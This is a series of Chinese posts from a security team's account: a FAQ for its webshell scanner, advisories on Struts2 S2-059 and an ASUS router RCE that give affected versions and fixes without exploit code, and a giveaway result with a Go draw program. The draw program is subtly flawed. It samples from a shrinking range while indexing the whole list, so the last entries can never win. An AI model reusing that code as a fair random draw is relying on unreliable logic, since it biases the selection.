|------------|-----------------|---------|------|--------
|  windows   |    -            | >=2003  | 32/64|   OK   |
|  CentOS    |    >=2.6.32     | >=6     |      |   OK   |
|  CentOS    |    <2.6.32      | < 6     | 32/64| 不支持  |
|  Ubuntu    |    -            |  -      |      |   OK   |
|  Kali      |    -            | 2.0,2019| 32/64|   OK   |
|  Kali      |    -            | <2.0    | 32/64|   -    |
|  SuSE      |    -            | -       |      |   -    |
|  Debian    |    -            | -       |      |   -    |
|  Fedora    |    -            | -       |      |   -    |
|  Redhat    |    -            | -       |      |   -    |

• OK 表示测试通过, 可以正常运行

• 不支持 表示官方没有计划支持此版本

• - 表示未经测试，但是理论上支持

如果您在使用中发现不兼容的发行版本请和我们联系，文章末尾有我们的联系方式

常见问题

1. 已经联网，但是扫描程序依然报没有连接网络的错误

   可能的原因有两点：一是您的操作系统时间与标准时间差距超过1分钟，使用ntp或者其他方式同步后问题解决；
   二是您操作系统的PKI证书系统老旧，更新后即可解决，debian/ubuntu使用update-ca-certificates命令，centos使用
   update-ca-trust extract命令
   

2. 扫描失败，或者扫描文件数目为0

   软件限制了一些目录，例如Linux系统下/proc/目录文件不做检测，windows下C:/windows目录等
   

3. 扫描时崩溃

   请检查您使用的软件版本和操作系统版本是否匹配
   请检查您当前的用户是否为管理员用户
   

4. linux下没有找到可执行的文件

   请检查是否配置了环境变量或者使用./hm的方式来运行程序
   

5. 如何配置扩展名白名单

   在软件目录下有hm.yml文件，可以配置按照扩展名忽略的白名单；
   不建议手动添加jpg,png,gif等，有一类后门是隐藏在图片之中的。
   

6. 如何查看扫描结果

   扫描结果在扫描结束之后会保存到软件目录下的result.csv文件中，windows版可以在界面上直接查看结果
   

7. 如果安装了旧版软件是否能够自动更新

   linux环境下您可以在软件所在目录执行`hm update`命令，软件会自动升级到最新版本
   windows版检测到可更新版本后点击下载新版本
   

8. 如何让软件不输出中文，只输出英文

   linux配置环境变量HM_LANG=zh-CN则强制显示中文；配置HM_LANG=en-US强制显示英文系统
   

9. 我不想下载软件如何快速检测

   可以使用在线查杀https://n.shellpub.com,上传源代码zip包即可，需要注意的是上传大小限制为20MB
   

10. 检测结果不准确？

    可以通过文章下方的联系方式联系我们，我们有专业的安全工程师跟您对接
    

如果在使用过程中遇到问题，可以在本文下面留言或加QQ:1494922137

关注我们

阅读原文

跳转微信打开

Apache Struts2 S2-059(CVE-2019-0230) RCE漏洞通告

关于Apache Struts2

Struts2是一个基于MVC设计模式的Web应用框架，它本质上相当于一个servlet，在MVC设计模式中，Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品，是在 Struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。目前已经不是主流的Web技术，还存留在一些老旧系统中

漏洞等级

高

漏洞分析

如果攻击者可以设置Struts 2标签的属性值为恶意的OGNL表达式，则可能造成RCE 

影响范围

Struts 2.0.0~2.5.20

修复建议

• 开启ONGL表达式注入保护措施 (https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable)

• 升级到2.5.22及以上版本

总结

在安全漏洞这块儿Struts2和fastjson惺惺相惜（难兄难弟），一是容易出问题，二是出问题影响大，动不动就是RCE，三是牵连的业务难修复。笔者建议企业按照自己的实际情况制定计划，逐步替换，加快淘汰还在使用struts2系统。

参考

【漏洞预警】Apache Struts远程代码执行漏洞（S2-059、CVE-2019-0230）

https://cwiki.apache.org/confluence/display/WW/S2-059

https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable

https://cert.360.cn/warning/detail?id=d2b39f48fd31f3b36cc957f23d4777af

https://stackoverflow.com/questions/6134411/jstl-escaping-special-characters/6135001#6135001

关注我们

阅读原文

跳转微信打开

华硕路由器远程代码执行漏洞通告

## 背景
2020年08月03日，国内安全厂商极光无限发布了《漏洞公告 | 华硕(ASUS)家庭无线路由器远程代码执行0day》的风险通告。
## 风险等级
高危
## 漏洞详情
未经过身份验证的远程攻击者通过发送特制数据包到华硕路由器的WEB组件中，可以在路由器上以 ROOT（最高权限）执行任意代码。
## 影响版本

• RT-AC68U

• RT-AC3100

• RT-AC88U

• RT-AC5300

• RT-AC3200

## 修复建议
- 通过禁止通过互联网访问路由器后台可以阻断远程攻击
- 增加WIFI密码复杂性，防止通过本地局域网攻击 
- 开启固件自动更新，及时安装官方最新固件
经河马安全团队分析，梅林、官改固件由于复用了官方固件部分代码，依然存在该漏洞，请用户务必慎重！
## 参考链接
漏洞公告 | 华硕(ASUS)家庭无线路由器远程代码执行0day
https://cert.360.cn/warning/detail?id=81fd25539ed87e395f360e9094196da4

## 关注我们

阅读原文

跳转微信打开

今日公布抽奖结果

1. 转发朋友圈送书活动中奖名单：

[1] 格日德吉
[2] 舜安-我有一头小毛驴

恭喜这两位朋友，稍后我们会在后台私信中奖的朋友，请及时回复邮寄地址

2. 提建议活动暂未收到有效建议，该活动改为长期。

附抽奖程序:

package main
import (  "bytes"  "crypto/rand"  "flag"  "fmt"  "io/ioutil"  "log"  "math/big")
func main() {  var userfile string  var max int64  flag.StringVar(&userfile, "input", "", "set input user file")  flag.Int64Var(&max, "max", 1, "set max user")  flag.Parse()
  txt, err := ioutil.ReadFile(userfile)  if err != nil {    log.Println("read file", err)    return  }  lines := bytes.Split(txt, []byte("\n"))  if max >= int64(len(lines)) {    log.Println("max should little than users")    return  }  count := len(lines)  var flags = make([]bool, count)  var counter int64  for counter < max {    n, err := rand.Int(rand.Reader, big.NewInt(int64(count)-counter))    if err != nil {      log.Panic(err)    }    idx := n.Int64()    if flags[idx] {      continue    } else {      fmt.Printf("[%d] %v\n", counter+1, string(lines[idx]))      flags[idx] = true      counter++    }  }}

阅读原文

跳转微信打开